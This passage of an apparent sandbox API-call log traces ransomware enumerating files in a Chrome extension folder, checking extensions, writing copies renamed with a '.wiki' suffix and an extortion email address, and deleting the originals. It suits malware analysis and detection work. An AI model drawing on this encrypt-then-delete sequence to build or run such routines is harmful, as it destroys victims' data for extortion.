lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0174.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.918] lstrlenW (lpString=".zip") returned 4 [0174.918] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0174.918] lstrlenW (lpString=".rar") returned 4 [0174.918] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0174.918] lstrlenW (lpString=".bz2") returned 4 [0174.918] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0174.918] lstrlenW (lpString=".7z") returned 3 [0174.918] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0174.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.918] lstrlenW (lpString=".dbf") returned 4 [0174.918] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0174.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.918] lstrlenW (lpString=".1cd") returned 4 [0174.918] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0174.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.918] lstrlenW (lpString=".jpg") returned 4 [0174.919] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0174.919] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0174.919] lstrlenW (lpString="main.js") returned 7 [0174.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.919] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=95) returned 1 [0174.919] CloseHandle (hObject=0x1b4) returned 1 [0174.919] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js")) returned 0x2020 [0174.919] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.920] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.920] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.920] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.920] GetLastError () returned 0x0 [0174.920] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x5f, lpOverlapped=0x0) returned 1 [0175.104] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x60, lpOverlapped=0x0) returned 1 [0175.104] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.105] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0175.105] SetEndOfFile (hFile=0x19c) returned 1 [0175.105] CloseHandle (hObject=0x19c) returned 1 [0175.105] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.105] SetEndOfFile (hFile=0x1b4) returned 1 [0175.106] CloseHandle (hObject=0x1b4) returned 1 [0175.106] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.106] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js")) returned 1 [0175.106] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.106] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.106] lstrlenW (lpString=".doc") returned 4 [0175.106] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0175.106] lstrlenW (lpString=".docx") returned 5 [0175.106] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0175.106] lstrlenW (lpString=".pdf") returned 4 [0175.106] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0175.106] lstrlenW (lpString=".xls") returned 4 [0175.106] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0175.106] lstrlenW (lpString=".xlsx") returned 5 [0175.106] lstrcmpiW (lpString1=".xlsx", lpString2="in.js") returned -1 [0175.106] lstrlenW (lpString=".ppt") returned 4 [0175.106] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0175.106] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.106] lstrlenW (lpString=".zip") returned 4 [0175.107] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString=".rar") returned 4 [0175.107] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString=".bz2") returned 4 [0175.107] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString=".7z") returned 3 [0175.107] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.107] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.107] lstrlenW (lpString=".dbf") returned 4 [0175.107] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.107] lstrlenW (lpString=".1cd") returned 4 [0175.107] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.107] lstrlenW (lpString=".jpg") returned 4 [0175.107] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.107] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.107] lstrlenW (lpString=".doc") returned 4 [0175.107] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString=".docx") returned 5 [0175.107] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0175.107] lstrlenW (lpString=".pdf") returned 4 [0175.107] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString=".xls") returned 4 [0175.107] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0175.107] lstrlenW (lpString=".xlsx") returned 5 [0175.107] lstrcmpiW (lpString1=".xlsx", lpString2="in.js") returned -1 [0175.107] lstrlenW (lpString=".ppt") returned 4 [0175.108] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0175.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.108] lstrlenW (lpString=".zip") returned 4 [0175.108] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0175.108] lstrlenW (lpString=".rar") returned 4 [0175.108] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0175.108] lstrlenW (lpString=".bz2") returned 4 [0175.108] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0175.108] lstrlenW (lpString=".7z") returned 3 [0175.108] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.108] lstrlenW (lpString=".dbf") returned 4 [0175.108] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0175.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.108] lstrlenW (lpString=".1cd") returned 4 [0175.108] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0175.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 133 [0175.108] lstrlenW (lpString=".jpg") returned 4 [0175.108] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0175.108] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.108] lstrlenW (lpString="messages.json") returned 13 [0175.108] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.109] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=229) returned 1 [0175.109] CloseHandle (hObject=0x1b4) returned 1 [0175.109] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0175.109] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.109] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.109] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.110] GetLastError () returned 0x0 [0175.110] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xe5, lpOverlapped=0x0) returned 1 [0175.111] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.112] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.112] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.112] SetEndOfFile (hFile=0x19c) returned 1 [0175.112] CloseHandle (hObject=0x19c) returned 1 [0175.112] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.112] SetEndOfFile (hFile=0x1b4) returned 1 [0175.113] CloseHandle (hObject=0x1b4) returned 1 [0175.113] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.113] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json")) returned 1 [0175.114] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.114] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.114] lstrlenW (lpString=".doc") returned 4 [0175.114] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.114] lstrlenW (lpString=".docx") returned 5 [0175.114] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.114] lstrlenW (lpString=".pdf") returned 4 [0175.114] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.114] lstrlenW (lpString=".xls") returned 4 [0175.114] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.114] lstrlenW (lpString=".xlsx") returned 5 [0175.114] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.114] lstrlenW (lpString=".ppt") returned 4 [0175.114] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.114] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.114] lstrlenW (lpString=".zip") returned 4 [0175.114] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.114] lstrlenW (lpString=".rar") returned 4 [0175.114] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.114] lstrlenW (lpString=".bz2") returned 4 [0175.114] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.114] lstrlenW (lpString=".7z") returned 3 [0175.114] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.114] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.114] lstrlenW (lpString=".dbf") returned 4 [0175.114] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.114] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.115] lstrlenW (lpString=".1cd") returned 4 [0175.115] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.115] lstrlenW (lpString=".jpg") returned 4 [0175.115] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.115] lstrlenW (lpString=".doc") returned 4 [0175.115] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.115] lstrlenW (lpString=".docx") returned 5 [0175.115] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.115] lstrlenW (lpString=".pdf") returned 4 [0175.115] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.115] lstrlenW (lpString=".xls") returned 4 [0175.115] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.115] lstrlenW (lpString=".xlsx") returned 5 [0175.115] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.115] lstrlenW (lpString=".ppt") returned 4 [0175.115] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.115] lstrlenW (lpString=".zip") returned 4 [0175.115] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.115] lstrlenW (lpString=".rar") returned 4 [0175.115] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.115] lstrlenW (lpString=".bz2") returned 4 [0175.115] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.115] lstrlenW (lpString=".7z") returned 3 [0175.115] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.116] lstrlenW (lpString=".dbf") returned 4 [0175.116] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.116] lstrlenW (lpString=".1cd") returned 4 [0175.116] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 155 [0175.116] lstrlenW (lpString=".jpg") returned 4 [0175.116] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.116] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.116] lstrlenW (lpString="messages.json") returned 13 [0175.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.117] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=226) returned 1 [0175.117] CloseHandle (hObject=0x1b4) returned 1 [0175.117] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json")) returned 0x2020 [0175.117] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.117] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.117] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: 